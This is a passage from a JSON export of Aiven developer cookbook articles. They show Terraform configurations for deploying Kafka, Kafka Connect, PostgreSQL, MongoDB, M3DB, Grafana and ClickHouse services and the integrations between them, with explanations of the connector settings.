cloud_name = \"google-europe-north1\"\n plan = \"business-4\"\n service_name = \"demo-kafka-connect\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n\n kafka_connect_user_config {\n kafka_connect {\n consumer_isolation_level = \"read_committed\"\n }\n\n public_access {\n kafka_connect = false\n }\n }\n}\n\nresource \"aiven_service_integration\" \"i1\" {\n project = var.project_name\n integration_type = \"kafka_connect\"\n source_service_name = aiven_kafka.demo-kafka.service_name\n destination_service_name = aiven_kafka_connect.demo-kafka-connect.service_name\n\n kafka_connect_user_config {\n kafka_connect {\n group_id = \"connect\"\n status_storage_topic = \"__connect_status\"\n offset_storage_topic = \"__connect_offsets\"\n }\n }\n}\n\nresource \"aiven_kafka_connector\" \"kafka-pg-source\" {\n project = var.project_name\n service_name = aiven_kafka_connect.demo-kafka-connect.service_name\n connector_name = \"kafka-pg-source\"\n\n config = {\n \"name\" = \"kafka-pg-source\"\n \"connector.class\" = \"io.debezium.connector.postgresql.PostgresConnector\"\n \"snapshot.mode\" = \"initial\"\n \"database.hostname\" = sensitive(aiven_pg.demo-pg.service_host)\n \"database.port\" = sensitive(aiven_pg.demo-pg.service_port)\n \"database.password\" = sensitive(aiven_pg.demo-pg.service_password)\n \"database.user\" = sensitive(aiven_pg.demo-pg.service_username)\n \"database.dbname\" = \"defaultdb\"\n \"database.server.name\" = \"replicator\"\n \"database.ssl.mode\" = \"require\"\n \"include.schema.changes\" = true\n \"include.query\" = true\n \"table.include.list\" = \"public.tab1\"\n \"plugin.name\" = \"pgoutput\"\n \"publication.autocreate.mode\" = \"filtered\"\n \"decimal.handling.mode\" = \"double\"\n \"_aiven.restart.on.failure\" = \"true\"\n \"heartbeat.interval.ms\" = 30000\n \"heartbeat.action.query\" = \"INSERT INTO heartbeat (status) VALUES (1)\"\n }\n depends_on = [aiven_service_integration.i1]\n}\n```\n\n\n## Execute the files \n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nLet's go over a few of these configurations and understand their functions:\n\n- The ``auto_create_topics_enable = true`` property allows the Debezium connector to send messages to a non-existing topic.\n- The ``kafka_connect = false`` property is used because we want to create a separate Aiven for Apache Kafka Connect service.\n- The resource ``aiven_service_integration.i1`` configures the integration between the Aiven for Apache Kafka service and the Aiven for Apache Kafka Connect service. This integration uses two internal topics for storing status and offset.\n- ``group_id`` under ``kafka_connect_user_config`` is a unique ID that identifies the Kafka Connect cluster.\n- ``status_storage_topic`` and ``offset_storage_topic`` identify the name of the internal Kafka topics that store the connector status and the connector offsets respectively.\n- `snapshot.mode = \"initial\"` means the connector will, upon first connection, snapshot the entire structure and data of the linked database. After this snapshot, it will then capture and stream row-level changes. This initial capture ensures no data is lost in transition, but it might put some load on the database when first activated.\n- `plugin.name = \"pgoutput\"` specifies that the replication output plugin used by Debezium for PostgreSQL is “pgoutput.” It’s the standard logical decoding output plugin in recent PostgreSQL versions and is supported natively without needing additional extensions.\n- `publication.autocreate.mode = \"filtered\"` means that the connector will either use an existing logical replication publication with the specified name or create one if it doesn’t exist. The “filtered” mode ensures that only the changes to the tables specified in the configuration (like \"table.include.list\") are included in the publication.\n- The Debezium source connector for PostgreSQL listens for all data changes on one or more tables, including schema changes. In our case, the table that is monitored for any data change is \"tab1\" in ``defaultdb`` database under ``public`` schema. The plugin used to capture changes is ``wal2json`` that converts WAL events (WAL stands for Write Ahead Logging) into JSON payload that is sent to the Kafka topic via the Kafka connect service. The Kafka topic that the Debezium connector creates has the name ``replicator.public.tab1``, where \"replicator\" is the logical database used by Debezium connector to monitor for data changes and \"public\" and \"tab1\" are the name of the PostgreSQL schema and table name respectively. \n- The ``depends_on`` property establishes a dependency between the services creation in order to avoid failures.\n\n## More resources\n\nKeep in mind that some parameters and configurations will vary for your case. A reference to some of the advanced Apache Kafka configurations and other related resources:\n\n- [List of advanced Apache Kafka configurations](https://aiven.io/docs/products/kafka/kafka-connect/reference/advanced-params.html)\n- [Create a Debezium source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html)\n- [List of available Apache Kafka® Connect connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-29T08:05:01.401Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"da08866f08b2","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-91e0c19ac4bc1d6c43e69f625cc17d1b5242f954-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/debezium-source-postgresql-kafka-across-clouds"},"subtitle":"Use Debezium as a source connector to integrate PostgreSQL® and Apache Kafka® and use Terraform to deploy. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"22dc7d464d47","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"698a207441ef","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"c23020a86c2b","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"Debezium source connector - PostgreSQL® to Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2023-08-21T13:36:40Z","_id":"a1068636-7bcf-4cf3-96d1-62d4db7b91f7","_rev":"aqN8LslQ3cZYmtCXIu28pZ","_type":"devArticle","_updatedAt":"2024-02-08T17:27:35Z","body":"Whether monitoring your data infrastructure or analyzing resource utilization based on metrics, [Aiven for Grafana®](https://aiven.io/grafana) provides powerful visualizations and easy integrations for your Aiven services.\nA time-series database like M3DB can be used as backend to store PostgreSQL® database metrics to be queried by the Grafana dashboard.\nThis example shows how to use the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) to create an [Aiven for PosgreSQL®](https://aiven.io/postgresql) service, an [Aiven for M3DB](https://aiven.io/m3) service, an [Aiven for Grafana®](https://aiven.io/grafana) service, and the related service integrations programmatically. \n\n:::mermaid\n flowchart LR\n PostgreSQL[Aiven for PostgreSQL]\n M3DB[Aiven for M3DB]\n Grafana[Aiven for Grafana]\n PostgreSQL ==\u003e|si-metrics| M3DB\n Grafana ==\u003e|si-dashboard| M3DB\n:::\n\nIn the above diagram, the PostgreSQL service metrics are pushed to M3DB which is then queried by a prebuilt Grafana dashboard. All three services are connected via Aiven Service Integrations, which lets your Aiven services talk to one another without you having to write complex integration codes. ``si-...`` in the above diagram stands for \"Service Integration\".\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name``, ``api_token``, and ``service_name_prefix``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n\nvariable \"service_name_prefix\" {\n description = \"A string to prepend to the service name\"\n type = string\n}\n```\n \nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\nservice_name_prefix = \"\u003cYOUR-CHOICE-OF-A-SERVICE-NAME-PREFIX\u003e\"\n```\n\n## Services.tf file\n\n```toml\n# PostgreSQL Service\n\nresource \"aiven_pg\" \"demo-pg\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"startup-8\"\n service_name = join(\"-\", [var.service_name_prefix, \"postgres\"])\n termination_protection = false\n maintenance_window_dow = \"sunday\"\n maintenance_window_time = \"10:00:00\"\n}\n\n# M3DB Service\n\nresource \"aiven_m3db\" \"demo-m3db\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"startup-8\"\n service_name = join(\"-\", [var.service_name_prefix, \"m3db\"])\n maintenance_window_dow = \"sunday\"\n maintenance_window_time = \"10:00:00\"\n\n m3db_user_config {\n m3db_version = 1.5\n\n namespaces {\n name = \"my_ns1\"\n type = \"unaggregated\"\n }\n }\n}\n\n# Grafana Service\n\nresource \"aiven_grafana\" \"demo-grafana\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"startup-8\"\n service_name = join(\"-\", [var.service_name_prefix, \"grafana\"])\n maintenance_window_dow = \"sunday\"\n maintenance_window_time = \"10:00:00\"\n\n grafana_user_config {\n alerting_enabled = true\n\n public_access {\n grafana = true\n }\n }\n}\n\n# PostgreSQL-M3DB Metrics Service Integration\n\nresource \"aiven_service_integration\" \"postgresql_to_m3db\" {\n project = var.project_name\n integration_type = \"metrics\"\n source_service_name = aiven_pg.demo-pg.service_name\n destination_service_name = aiven_m3db.demo-m3db.service_name\n}\n\n# M3DB-Grafana Dashboard Service Integration\n\nresource \"aiven_service_integration\" \"m3db-to-grafana\" {\n project = var.project_name\n integration_type = \"dashboard\"\n source_service_name = aiven_grafana.demo-grafana.service_name\n destination_service_name = aiven_m3db.demo-m3db.service_name\n}\n```\n \n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n\n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nAt first, ``aiven_pg``, ``aiven_m3db``, and ``aiven_grafana`` resources are created. Once these three services are running, the resources that bridge them ``aiven_service_integration`` are created.\nNote the different ``integration_type`` used for each of these service integrations. \n\n## More resources\n\nYou might find these related resources useful too:\n\n- [Configuration options for Aiven for Grafana®](https://aiven.io/docs/products/grafana/reference/advanced-params.html)\n- [Configuration options for Aiven for PostgreSQL®](https://aiven.io/docs/products/postgresql/reference/list-of-advanced-params.html)\n- [Configuration options for Aiven for M3DB](https://aiven.io/docs/products/m3db/reference/advanced-params.html)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)\n- [Metrics and graphs with M3 and Grafana®](https://aiven.io/blog/metrics-and-graphs-with-m3-and-grafana)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-28T13:34:50.655Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"87da2b808042","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-be01af6b8e482e512883b2635dd78202425237f1-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/grafana-visualize-postgresql"},"subtitle":"Use Aiven for Grafana® to visualize metrics for Aiven for PostgreSQL® or another PostgreSQL® service. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"beb9cd3885ea","_ref":"a40792b4-c5eb-4d81-9452-9a4bd322d700","_type":"tag"},{"_key":"76cf4c230d80","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"2c87c1484b72","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Deploy a Grafana® service to visualize PostgreSQL® metrics"} {"__i18n_lang":"en","_createdAt":"2023-08-22T07:57:28Z","_id":"55e10e8d-4c91-4fe0-97c4-f92b09db8840","_rev":"VeNKqGNmt13PzvGhqsSesG","_type":"devArticle","_updatedAt":"2024-01-29T15:45:42Z","body":"The [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) is a great choice for provisioning an [Aiven for Apache Kafka®](https://aiven.io/kafka) cluster with Kafka Connect enabled and the [MongoDB source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/mongodb-poll-source-connector.html) configured.\n\nLet's check out the following diagram to understand the setup.\n\n:::mermaid\n\n flowchart LR\n id1[(MongoDB Database)]\n subgraph Kafka Connect\n MongoDB-Source-Connector\n end\n subgraph Apache Kafka\n Topic\n end\n id1 ---\u003e|polls changes| MongoDB-Source-Connector --\u003e|publishes changes| Topic\n\n:::\n\n## Describe the setup\n\nHere is the Terraform recipe that will spin up an Aiven for Apache Kafka service with Kafka Connect enabled. This recipe will also create and configure a MongoDB source connector.\n\n::alert[Aiven provides the option to run Kafka Connect on the same nodes as your Kafka cluster, sharing the resources. This is a low-cost way to get started with Kafka Connect. A standalone Aiven for Apache Kafka® Connect allows you to scale independently, offers more CPU time and memory for the Kafka Connect service and reduces load on nodes, making the cluster more stable.]{title=\"Warning\"} \n\nBefore you begin, you will require a MongoDB database and the related database connection information. You'll also need to make sure that the database is reachable from the public internet (unless it's part of a paired VPC).\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name``, ``api_token``, ``service_name_prefix``, and ``mongodb_connection_uri``.\n\n## Common files\n\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n\nvariable \"service_name_prefix\" {\n description = \"A string to prepend to the service name\"\n type = string\n}\n\nvariable \"mongodb_connection_uri\" {\n description = \"MongoDB connection URI used to connect to your MongoDB deployment\"\n type = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\nservice_name_prefix = \"\u003cYOUR-CHOICE-OF-A-SERVICE-NAME-PREFIX\u003e\" \nmongodb_connection_uri = \"\u003cYOUR-MONGODB-SERVICE-CONNECTION-URI\u003e\"\n```\n\n## Services.tf file\n\n```toml\nresource \"aiven_kafka\" \"demo-kafka\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"business-4\"\n service_name = join(\"-\", [var.service_name_prefix, \"kafka\"])\n maintenance_window_dow = \"sunday\"\n maintenance_window_time = \"10:00:00\"\n kafka_user_config {\n kafka_connect = true\n kafka_rest = true\n kafka_version = \"3.4\"\n kafka {\n auto_create_topics_enable = true\n }\n }\n}\n\nresource \"aiven_kafka_connector\" \"mongodb-source-connector\" {\n project = var.project_name\n service_name = aiven_kafka.demo-kafka.service_name\n connector_name = \"mongodb-source-connector\"\n config = {\n \"name\" = \"mongodb-source-connector\"\n \"connector.class\" = \"com.mongodb.kafka.connect.MongoSourceConnector\"\n \"connection.uri\" = var.mongodb_connection_uri\n \"database\" = \"sample_airbnb\"\n \"collection\" = \"listingsAndReviews\"\n \"copy.existing\" = \"true\"\n \"poll.await.time.ms\" = \"1000\"\n \"output.format.value\" = \"json\"\n \"output.format.key\" = \"json\"\n \"publish.full.document.only\" = \"true\"\n }\n}\n```\n\n## Execute the files \n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\n- Since you have ``kafka_connect`` set to ``true`` under the ``kafka_user_config``, you don't need a standalone Aiven for Apache Kafka Connect service.\n- The ``auto_create_topics_enable`` flag is enabled, therefore the connector is able to create the topic on the Apache Kafka cluster by pushing the first message, without having to create the topic first.\n- The automatically created topic name will be the concatenation of ``database`` and ``collection`` parameters - ``sample_airbnb.listingsAndReviews`` in this example.\n- ``poll.await.time.ms`` can be configured to set the amount of wait time before the MongoDB source connector pulls the new changes from a collection.\n- ``publish.full.document.only``, when set to ``true``, only publishes the actual document rather than the full change stream document. The default value of the parameter is ``false``.\n\n## More resources\n\nKeep in mind that some parameters and configurations will vary for your case. A reference to some of the advanced Apache Kafka configurations and other related resources:\n\n- [List of advanced Apache Kafka configurations](https://aiven.io/docs/products/kafka/kafka-connect/reference/advanced-params.html)\n- [Create a MongoDB source connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/mongodb-poll-source-connector.html)\n- [List of available Apache Kafka® Connect connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-29T07:57:09.857Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"5f3b772c1cd4","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-f2771b9954ef0aef56fc48a9a90d09971d6cb94d-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/apache-kafka-with-mongodb"},"subtitle":"Use MongoDB as a source for Apache Kafka® topics and deploy the integration with both using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"300dea9cce88","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"72efecccdfa2","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Apache Kafka® with MongoDB source connector"} {"__i18n_lang":"en","_createdAt":"2023-08-25T09:51:41Z","_id":"a21b32f0-aaab-4720-8976-c439d5a3f4c0","_rev":"VeNKqGNmt13PzvGhqsStnY","_type":"devArticle","_updatedAt":"2024-01-29T15:48:43Z","body":"This article shows the Terraform configuration for setting up an [Aiven for Apache Kafka®](https://aiven.io/kafka) service, configuring a topic, and adding a Kafka Connector to send the data from the topic over HTTP using the [HTTP sink connector]. This is a great way to use webhooks or HTTP requests as a generic connector to send the data to\nanother platform.\n\nThe setup needs the Aiven for Apache Kafka service and the Kafka Connect\nservice, plus a service integration to connect the two. The overall setup looks something like the diagram below:\n\n\n:::mermaid\n\n flowchart LR\n subgraph k1 [Kafka cluster]\n topic[Topic]\n end\n sikafka{{Service Integration}}\n subgraph kc1 [Kafka Connect]\n connector[HTTP sink connector]\n end\n webhook([HTTP destination])\n topic--\u003esikafka--\u003econnector--\u003ewebhook\n:::\n\nThe Aiven for Apache Kafka and Kafka Connect services are connected with a service integration. The Kafka Connect service has the HTTP sink configured and this connects the topic to the HTTP destination. The HTTP destination is an external location defined by ``http.url`` in the HTTP sink connector\nconfiguration.\n\n## Define the setup\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to\nlearn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and\n``api_token``.\n\n\n## Common files \n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nThe sample Terraform file to create and connect all the services is shown below. This file uses sample data; comments are added to indicate settings that are likely to need changing to suit your use case.\n\n``services.tf`` file:\n\n```toml\n# Kafka service\nresource \"aiven_kafka\" \"project_kafka\" {\n project = var.project_name # from variables.tf and supplied at run time\n cloud_name = \"google-europe-west1\"\n plan = \"business-4\"\n service_name = \"my-kafka-demo\"\n kafka_user_config {\n kafka_version = \"3.2\"\n kafka_rest = true\n kafka {\n auto_create_topics_enable = true\n }\n }\n}\n\n# Kafka topic, in the cluster defined above\nresource \"aiven_kafka_topic\" \"user_activity\" {\n project = var.project_name\n service_name = aiven_kafka.project_kafka.service_name\n topic_name = \"user_activity\"\n partitions = 3\n replication = 2\n}\n\n# Kafka Connect service\nresource \"aiven_kafka_connect\" \"data_connector\" {\n project = var.project_name\n cloud_name = \"google-europe-west1\"\n plan = \"business-4\"\n service_name = \"my-kafka-demo-connector\"\n}\n\n# Integration between kafka and kafka connect\nresource \"aiven_service_integration\" \"kafka_to_data_connector\" {\n project = var.project_name\n integration_type = \"kafka_connect\"\n source_service_name = aiven_kafka.project_kafka.service_name\n destination_service_name = aiven_kafka_connect.data_connector.service_name\n}\n\n# Kafka connector: this one is an HTTP sink\nresource \"aiven_kafka_connector\" \"kafka_webhook_sink\" {\n project = var.project_name\n service_name = aiven_kafka_connect.data_connector.service_name\n connector_name = \"my-http-sink\"\n config = {\n # Which topic (or topics) should the data come from?\n \"topics\" = aiven_kafka_topic.user_activity.topic_name\n \"connector.class\" = \"io.aiven.kafka.connect.http.HttpSinkConnector\"\n \"name\" = \"my-http-sink\"\n # Edit where the HTTP data should be sent\n \"http.url\" = \"https://example.com/endpoint\"\n \"http.authorization.type\" = \"none\"\n \"http.headers.content.type\" = \"application/json\"\n \"key.converter\" = \"org.apache.kafka.connect.storage.StringConverter\"\n \"value.converter\" = \"org.apache.kafka.connect.storage.StringConverter\"\n }\n\n # Make sure that the connect service is ready before creating this\n depends_on = [\n aiven_kafka_connect.data_connector,\n aiven_service_integration.kafka_to_data_connector\n ]\n}\n```\n\nThis example creates two Aiven services: one Aiven for Apache Kafka service, and a Kafka Connect service. It adds a service integration so that the the connectors can access the data in the Kafka cluster. There is a topic defined ``user_activity``, and this is referred to by the Kafka connector configuration as the source of the data to send over HTTP. The connector also defines where the HTTP requests should be sent to, using the ``http.url`` setting.\n\nTo avoid any race conditions in this setup, the ``depends_on`` clause makes sure that the connector will only be configured when both the Kafka Connect service and its integration to Kafka are in place.\n\n## Execute the files \n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n \n```bash\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n \nTry out this recipe by defining an HTTP endpoint where you can receive and acknowledge HTTP requests in the connector configuration. Then produce some data to the ``user_activity`` topic (any JSON data is fine), and observe that this is then sent over HTTP.\n\nYou could use this setup for relaying payloads to platforms that don't have specific connectors available. The HTTP sink connector is also an excellent tool for integrating with webhook-ready platforms like functions-as-a-service ([Amazon Lambda](https://aws.amazon.com/lambda/), [Cloudflare\nWorkers](https://workers.cloudflare.com/) or [Zapier](https://zapier.com/).\n\n\n## Further resources\n\nHere are some resources with additional information, examples and documentation for working with the technologies in this recipe:\n\n- [Configuration options for Kafka]\n- [HTTP sink documentation and examples]\n- [Webhook data from Apache Kafka®️ to the world: using the HTTP sink connector](https://aiven.io/developer/kafka-webhooks-http-sink)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-09-01T09:51:38.951Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"bfa033e687c3","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-25T07:49:18.951Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1007d93722cce4ccff54737915530cdbf284f599-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-with-http-sink"},"subtitle":"Use an HTTP sink connector to feed data into Apache Kafka® and deploy it using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"d2700d8d9f7f","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"249c89177c50","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Configure Apache Kafka® with topics and an HTTP sink connector using Terraform"} {"__i18n_lang":"en","_createdAt":"2023-08-23T09:13:28Z","_id":"75e9857b-65bd-4036-9bab-257f0ddbfb8c","_rev":"VeNKqGNmt13PzvGhqsShEs","_type":"devArticle","_updatedAt":"2024-01-29T15:45:51Z","body":"This article shows by way of example how to integrate an [Aiven for Apache Kafka®](https://aiven.io/kafka) service with a [Aiven for ClickHouse®](https://aiven.io/clickhouse) database using [Terraform provider for Aiven](https://registry.terraform.io/providers/aiven/aiven/latest/docs). An Apache Kafka® source topic is used as a data source and Aiven for ClickHouse® is used to filter or transform the raw data with a materialized view before writing it to a regular table.\n\n\nFirst, check out how sensor data can look like for a better understanding of this recipe and the ``clickhouse_kafka_user_config`` Terraform block used in this article.\n\n```json\n{\n\"sensor_id\": 10000001,\n\"ts\": \"2022-12-01T10:08:24.446369\",\n\"key\": \"cpu_usage\",\n\"value\": 96\n}\n```\n\n## Describe the setup \n\n:::mermaid\n flowchart LR\n id1(iot_measurements_topic)\n id2[(iot_measurements)]\n id3(edge_measurements_raw_table)\n id4(cpu_high_usage_table)\n subgraph Aiven for Apache Kafka\n id1\n end\n subgraph Aiven for ClickHouse\n id2\n subgraph iot_measurements DB\n id3--\u003e|Filter|id4\n end\n end\n id1--\u003e|Service integration|id2\n:::\n\nImagine that you've been collecting IoT measurements from thousands of sensors and these metrics are being populated in an Apache Kafka topic called ``iot_measurements``. Now, you'd like to set up an Aiven for ClickHouse database and write filtered messages into table ``cpu_high_usage``.\n\nThis recipe calls for the following:\n\n1. Set up an Aiven for ClickHouse database for writing and processing raw data. [Sign up for an Aiven account]( https://console.aiven.io/signup) to do so.\n2. Insert the measurements data from Apache Kafka topic ``iot_measurements`` into the Aiven for ClickHouse database.\n3. Filter the data and save the output to the new ``cpu_high_usage`` table.\n\n\n## Common files \n\nNavigate to a new folder and add the following files:\n\n1. ``provider.tf`` file\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\nYou can set environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property so that you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\n``variables.tf`` file\n\nUse it for defining 